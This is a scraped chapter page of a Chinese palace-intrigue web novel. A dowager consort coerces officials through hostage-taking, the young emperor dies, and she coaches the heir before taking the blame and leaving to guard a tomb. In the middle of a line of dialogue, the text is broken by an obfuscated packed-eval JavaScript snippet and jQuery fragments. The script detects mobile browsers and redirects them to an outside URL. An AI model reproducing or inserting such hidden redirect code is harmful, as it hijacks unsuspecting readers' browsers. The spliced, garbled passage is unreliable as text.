默认冷灰
24号文字
方正启体

62. 遗憾

作者:十月廿三本书字数:K更新时间:
    六月初一,淫雨霏霏。


    一中年男子身穿道袍,头戴纶巾,低调地叩响江府侧门。阍人把门拉开一条缝,看清访客面容,松一口气,提起笑脸。


    “宋大人,我家老爷久等了。”


    来人乃左副督御史宋瑜,是江知礼一手提拔的属官,更与江知礼以师生相称,关系十分亲密。


    这些天来,请立寿王为储的呼声越来越大,胜利近在咫尺,却不知为何宋瑜反常的脸色有些苍白,着实算不上好看。


    他匆匆踏入江府,江府下人俱都识得他,是以一路畅通无阻。等到了书房外,得把守的家丁侍卫入内禀报,宋瑜才深吸一口气,拍了拍脸,使神色务必看不出什么大碍,方噙着笑走了进去。


    他的这位老师太过信任他,果然什么都没发现,亲热地接待了他,等议完今日朝事,宋瑜话题一转,说道:“昨日也不知怎么做了个梦,梦到京师地动,家中照壁从中间一分为二,十分不安。是今乃多事之秋,学生在京郊万年县有一处私宅,鲜有人知,想送家眷去那里避一避。太师母年事已高,要不要去万年县暂住一段时间?一来避祸,二来,学生的夫人也在那里,可以照顾老夫人。”


    江知礼欣然答应,为免多生事端,当天就命仆从收拾行囊,于翌日一早遣人送老母出城。


    江知礼乃孝子,虽有心亲自送行,但思及那日在宫里遇到的杀祸,还是按捺不发,将此事全权交给了宋瑜负责。


    六月初三,惠禧太妃发来一封令旨,宣江督御史入宫觐见,随旨而来的还有一只江知礼老母亲的镯子。


    江知礼捏着那只镯子,心头冰冷一片,久久无言,是日未时,终于出得江府,入宫陛见。


    六月初五,皇帝秘会内阁次辅乔广川,命其拟诏,册立亳王李琢为皇太弟,于次日布告天下,咸使闻之。


    诏书下的第二天,停了许久的朝会再次召开。只是龙椅空悬,一旁摆着新的椅子,椅背与扶手都雕着四爪金龙,皇太弟端坐其上,代兄监国。至于东梢间,则有惠禧太妃垂帘听政。


    京师百官是第一批听到诏书的人,无不喧哗,尤其是淮党,就等着江知礼牵头,要联合起来“抗旨”。


    因圣旨均由内阁草拟,为免内阁专权,本朝六科有“封驳”之权,若百官齐心,抗旨并非大事。


    可万万没想到的是,江知礼竟在此时上疏,告老请辞,太弟准奏。而同样在淮党里颇有威望的宋瑜补缺,擢左都御史,向皇太弟俯首称臣谢恩。


    堂下百官无不面面相觑,不明白短短几日到底发生了什么事,失去两位党首,竟无人敢露锋芒,就这样,一场山雨欲来的风波,居然就这样诡异地消弭了。


    等两日后,诏书传到南直隶,正如乔燕曾说,已是尘埃落定。


    “咳咳,咳咳咳……”


    宫人捧着痰盂入内,过了会又捧出来,经过乔燕身前时,乔燕闻到一股铁腥味。


    恍惚间,她仿佛回到了五年前,尚是文景帝的慜帝临终之景,也是这样,她坐在外间,听着内间腐朽的咳嗽声,宫人来来往往,个个眉头紧锁,沉重肃穆,每个人都捏着嗓子说话,生怕大了一点就戳破天似的。


    “娘娘,圣上请您入内说话。”


    乔燕回过神,看到唐直抒躬着背站在自己跟前。


    旁边的贤妃与德妃在唐直抒出来时就纷纷站了起来,却只见唐直抒与乔燕说话,不由失望不已。


    说不清为什么,乔燕下意识侧首,看到贤妃微垂着头,面色沉静,而德妃在看自己,眼里有恨意一闪而逝,当乔燕看去时,德妃脸上露出了几分慌乱。


    想了想,乔燕婉言道:“我儿新为储君,圣上召见,想必是为了家国大事,两位息妇在此久候疲累,不如去偏殿歇息一二。”


    唐直抒也道:“是,圣上正是为皇太弟殿下召见太妃娘娘。”


    不论心里如何想,二妃举止得宜地退了出去,乔燕看了眼不远处运笔如飞的起居舍人,叹了口气,低声问:“内间还有人吗?”


    “崔院判也在。”


    乔燕脚步微顿,点点头,走了进去。


    内间窗户半开,去了沉疴之气,光亮一片。乔燕方在床边矮几落座,崔院判就走上前,行礼道:“娘娘,请让微臣为您诊脉。”


    之前乔燕在繁园安胎就是崔院判出的手,乔燕知道他是李稷的人,于是不语,只伸出手腕。崔院判隔着帕子搭指其上,过了片刻,退开一步,对着床帐拱手道:“娘娘身体平安。”


    一只苍白枯槁的手伸出床帐,慢慢摆了摆,崔院判行礼告退。


    室内一时只留下了乔燕一人,第一句话便是:“我没有怀孕,圣上可以放心了。”


    这句话一出口就后悔了,幸好李稷没有介意,用伸出帐外的手,轻轻招了招。


    乔燕心头一酸,走过去,握住那只手。


    “对不起,我,我不是有意的。”


    “我知道……你在面对我时,总竖着刺,咳咳,扶我起来……”李稷低声道。


    乔燕挂起床帐,一手托住李稷的后颈,向上使力。手掌只摸到一把骨头,他又瘦又轻,轻到乔燕一个人就可以托他坐起来。


    他的眼窝深深陷下去,眼睛格外幽邃,不复前几日的浑浊,反而如枯木逢春,十分清明。


    然而看到这样的一双眼,乔燕却不见喜,心沉到谷底。


    “宋弼德都跟我说了……你做的事,”李稷轻轻说着,说一句,停下喘口气,“你挟持宋瑜妻、子,逼他诱江知礼高堂出城……虽兵不血刃,但……此乃诡计,计邪不正,不容于朝堂,亦不容于朕……跪下!”


    “是。”


    乔燕言听计从,双膝着地,垂颈而跪。


    年轻的皇帝也垂颈看她,默默看了许久,方一字一字地说道:“你又没有灭口,此计怕很快就要败露,若天下人都知道七弟是如此……继位,恐不太平……咳咳……”


    李稷慢慢地,慢慢地,从枕头下取出一卷黄绢。


    “前日,你要朕斥你太阿倒持之罪,诏书在此,朕予你……先定朝政,待你觉得时间合适的时候……再拿出来,平物议……”


    “是。”


    乔燕平举双手,很快,圣旨像一只鸟儿一样,温柔地落在了她的掌心。


    李稷没有收回手,而是忽然用力地握住了她的手腕。


    “还记得,朕方登极,曾应许你一件事……当时你说……你还记得吗?”


    “嗯。我请求圣上,在冯矩流放前见了他一面。”


    李琢眼里划过失望,嘴唇蠕动,最后只长叹一口气。


    “……罢了……乔氏,朕,我问你……你……”


    他用尽全部力气想问出来的话,终究因怯懦没能出口,昔年皇考评价的对,他优柔有余,魄力不足。


    一鼓作气,再而衰,三而竭,有些话第一时间没能问出口,就再攒不起勇气了。李稷又沮丧,又不甘,忍不住喃喃道:“我从未强迫过你,就连那时候,在通天塔,也是你自愿的……”


    乔燕总算没沉默下去,轻快地道:“是。”


    李稷释然一笑。


    许久,许久,他手上力气一松,无力地垂下,看着头顶福字床帐,没头没脑地说道:“要是再多几年,未尝不能得……可惜,天不予寿……”


    他们之间,时间太短。


    相见是错,心动是错,这一路走来,竟是步步皆错。只是好在,他没能困她多久,就能放她自由了。


    如果……早点遇见就好了。如果,多一些时间就好了……


    “你出去吧……让阁臣来……朕有话……”


    启正五年六月十二,帝崩,享年廿九,未至而立,不寿。


    六月十三丑时一刻,东宫端本殿。


    李琢腿打着软,在宫女的搀扶下走出内间,看到养母惠禧太妃已经到来,正坐在外间的圈椅上。太妃穿着白色衰服,不施粉黛,嘴唇惨淡,看起来有些憔悴。


    李琢还注意到,太妃的手边放着宫人的奉的茶,茶水未动,但已经没了热气,也不知在这里等了多久。


    “母妃什么时候来的?为何不让人把我叫醒。”李琢一开口,才察觉嗓子肿了,又疼又痒,说话有如刀磨。


    听到人声,乔燕怔然抬头,双目瞳孔略散,原是在走神。


    “听人说你哭得厥了过去,我来看看你。嗓子怎么了?请医官来看过了吗?”


    “不用劳师动众,恐怕是夜里吹了风,着凉了,不碍事。”


    很平常的对答,却让乔燕沉默了下去。乔燕意识到,李琢尚未能从那个默默无闻的皇子转变过身份,又知时不我待,不能让他徐徐适应了,于是敛了笑,换上严厉的目光,“怎么不碍事!殿下,你如今不是闲散亲王了,你是国储,下一任天子,你的身体就是国本,要爱惜自己。”


    李琢顿了顿,讷讷应是。


    他自幼在人情冷暖中长大,爹爹不疼,宫人多有怠慢,后来记在乔燕名下,乔燕作主发作了他身边欺主的太监和宫女,另选了一批,日子这才好过起来。这些太监宫女本来被选到七皇子身边,只知道要跟亲王去藩地过清闲日子,没什么野心,不想主子竟一步登天,实属意外之喜,人也跟着机灵起来。此刻,听到两个主子的对话,太监吴汲立马领命请太医去了。


    储君尚未发话,吴汲此举不无讨好惠禧太妃的意思。只是李琢习惯由别人拿主意,并未意识到不对,乔燕却忍不住皱起了眉,重重叹了口气。


    宫人自是趋炎附势,亟需敲打整治。但如果国君本人立不起来,到底是徒劳之功。


    任重而道远啊。


    那边吴汲已经跑出去了,李琢还在原地踌躇,低声道:“母妃,延医之事还是稍后吧。我那时心情激荡,晕了过去,您也在这里,二哥那里怕是没人主持大局。”


    实际上,李琢这个时候有点六神无主,几天前他还是个胸无大志的亲王,突逢皇兄召见,要把家国交给他,他除了茫然只有茫然。这几天,太妃和皇兄天天押着他批红,恨不得他一下子可以顶天立地,撑起整个天下。


    他还在因朝政而头昏脑涨,宛如傀儡任人摆布,机械地推一下走一步,这时候二哥却驾崩了。这半天里,他浑浑噩噩,过得十分没有实感,直到现在,站在太妃跟前,还恍如梦中似的。


    乔燕将他的神情尽收眼底,心底一软:这还是个孩子啊。遂放缓语气,对他招了招手:“来陪母妃说会话。你昏睡了两个时辰,已经是丑时,先帝移殡之事我已安排妥当,梓宫就设在主敬殿。等医官给你看过之后,我才能放心。”


    她温和的神情大大和缓了李琢的心情,少年走到另一边圈椅坐下,宜婵给二人奉上热茶,带着殿内所有宫人一齐退了出去。


    李琢喝了口热茶,微烫的水从肿痛的喉咙里流过,顿时一阵松快。


    耳边钟鸣不绝,这三万杵钟声将持续数日。钟声涤荡,隐约间耳边似有佛音梵唱,肃穆庄严,哀婉不绝。


    乔燕闭目凝神听了一会儿,方才还有几分焦躁的心情慢慢平静下来。放下茶杯,置双手于膝上,她注视着眼前的养子。


    “恒奴,等会出了端本宫,你知道要做什么吗?”


    李琢眨了眨澄澈的眼,安静地听着,他知道太妃这是要教他。


    “你要先召见司礼监掌印唐直抒,以储君的身份下发一道令旨:凡一应事务,俱照旧制行,各衙门官员宜尽心办事,不许怠玩。稳住各衙门庶务,以防骚乱。等明天,文武百官哭临后,将赴东宫呈第一份《劝进表》,请你继位,依礼制,你需要拒绝,等三劝三让后,方可答应。”


    李琢点头。


    乔燕摸了摸他的后脑勺,说道:“不用担心,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116345|193889||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    让唐直抒这两天跟着你,一应礼仪他会提醒你。”


    “你的两位长史,束阳和宋则,俱是有识之士,先帝将他们给你时恐怕已预料到今日,若是妥善安排,会是继位后的一大助力。”


    李琢道:“请母妃教我。二哥临终前跟我说,我继位仓促,恐怕不能立即上手朝事,母妃从前随侍皇考,听政数载,兼之慧敏,可效仿前朝李太后,垂帘助我。”


    乔燕犹豫一瞬,说道:“我本不该干涉官员任免,但既然先帝遗训在前,你又问了,母妃自言无不尽。王府长史官高五品,入朝观政不能低了去。都察院左副督御史空悬,宋则可升任此职,为殿下耳目口舌,至于束阳,此人是束继文长孙,曾在翰林院砥砺过,性情耿直,资历颇丰,可进内阁。”


    “谢母妃指教。”


    “指教谈不上,鄙陋浅言,能否施用,还需殿下日后与内阁商议。至于寿王父子,殿下可想好怎么处置?”


    李琢思考片刻,认真道:“新旧交接,正乃风雨飘摇,不宜再生动荡,寿王并未做出逆反之举,不如暂且姑息。待日后朝局稳固,再以‘藩王不得与朝臣交往’祖训为由发作。”


    他想得全面,乔燕一时无话,赞许地点点头。


    方才乔燕说了许多话,停下后只觉口干,于是捧起茶杯喝了一口润嗓,眼皮下垂,看着几面的大理石花纹,神情有几分怅然。


    “我做了错事,恐怕不能久留。你的身边有束阳、宋则帮你,恒奴,母妃知道,你是个明事理、有主见的孩子,不用多久,你就可以自己处理政事了。只是,人站在高处,太容易迷失本心,唯有怀谦卑之心,才能看到百姓。你要记住,无论何时,都要持身以正,御下以仁,览古今之变,怀黎庶之忧。效法祖宗成宪,砥砺圣德,使礼乐彰而教化行,则王道荡荡,可致太平。殿下,你会是个贤明之君。”


    彼时乔燕没有细说,李琢没能弄明白她说的“做错事”是什么,然而很快,他就从官员那里知道了。


    事情的起因是六月十七,清晨于几筵殿哭临结束,礼部尚书为首的百官前往东宫第二次上表“劝进”。


    比起第一次,此次再呈之表,恳切更甚,李琢当众阅完,掩面而泣,表示:“棠棣倾覆,昊天罔极。寡人方食不知味,寝不遑安,茕茕在疚,若涉渊冰。天下之事,至重至艰。寡人尤在冲年,德薄能鲜。卿等当体寡人拳拳哀慕之诚,鉴寡人战战兢兢之惧。万望暂缓大礼,容寡人尽臣弟之余哀,亦使卿等详思熟虑,另择贤良,岂不两全?所请仍难遽允。卿等勿复再请。”又命有司抄录,张贴于皇城前。


    就在百官例行完劝进之举,纷纷却行时,忽有一位林姓御史越众而出:“臣有本奏!”


    这般节外生枝,却不在商议好的流程内,李琢下意识转头看了眼唐直抒,唐直抒面露讶色,朝他微微摇头,李琢便道:“寡人未曾御极,卿所陈之事若不急,不妨过些时日,等国祚安定,再奏不迟。”


    不想那林御史竟面露悲愤之色,指天恨道:“微臣只怕此面之后,就再无得见殿下之日了!只因微臣要劾之人,乃殿下养母,在前朝后宫中跋扈作恶的惠禧太妃!”


    一石激起千层浪。百官之中,有胆小怕事者加快步伐离去,然留下者众,私语纷纷,或迷惑,或讶然,或冷眼旁观,或若有所思。


    林御史还在道:“太妃在前不久,竟没有任何缘由,就让锦衣卫私下捉拿朝廷命官的亲眷,以要挟……


    李琢心头一沉,这时候却不看旁人,打断道:“那便请这位御史将劾本呈上,寡人还要去为皇兄抄写经文,容后再看。”


    于海听到消息,吓得出了一身冷汗,顾不得体面,一路小跑回太妃住的享纯宫,宜婵听过之后,亦是白了脸色,作主屏退殿内奴婢,领着于海入内。


    乔燕听了整个经过,面无殊色,反而在听到李琢当机立断地喝断林御史的话,遣散众臣时,露出些许欣慰:“之前就藩时,我就察觉,咱们储君殿下实则是个遇强则强,临危不乱之人,内心强大,不逊天家风范。如此一来,在大儒和臣子的教导下,想必很快能成长起来,无需我再担心了。”


    于海“皇帝不急太监急”,擦汗苦笑:“火都烧到身上了,娘娘诶,您怎么还笑得出来啊!”


    乔燕淡道:“林御史所劾不假,当时事态紧急,我只能出此下策,行事并不周全,到处是人证物证,无可辩驳。被人弹劾是迟早的事,只是没想到,竟然这么早,连新帝登基都等不及了,看来淮党那群人,真是恨我恨得欲除之而后快了。”


    “只是这件事,不能出自言官之口,否则将陷新帝于大不义。我做的荒唐事,万般有罪,一人认下便是。”


    当天下午,居于后宫的惠禧太妃下了一封罪己诏,坦言自己“行事阴狠,窃弄权柄,有失妇德,有违天道”,并自请去守皇陵。


    发完这道罪己诏后,乔燕私下又遣人将先帝遗留给她的斥罪诏书送给李琢,要他将之公布于众。


    只有这样,李琢才能与她撇清关系,立足朝廷。


    申时初,乔燕估摸着李琢应当已经拿到遗旨,且明白她的用意,于是除尽钗环,只着中衣,外披麻服,跪于殿中候旨。


    然而左等右等,这旨怎么也候不下来,就在她实在忍不住,想要差人去问一问时,李琢身边的大太监吴汲总算出现在宫门外,没有提及那道遗旨,只带来李琢的口谕:守皇陵一事准奏,只是几座皇陵都在凤阳府,甚远,京郊有座天寿山,乃成祖埋骨之处,殿下有意在山上为成祖立一衣冠冢,着惠禧太妃去那里守陵尽孝。


    吴汲又悄悄道:“天寿山脚下有个荒废的常静园,占地甚广,前朝曾做别宫使用,咱们殿下从私库里拨了四万两银子,已经着人去修缮了,又遣了百十位宫人提前去扫洒,娘娘尽管享福去,待日后物议平息,此事翻篇了,再接您回来。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)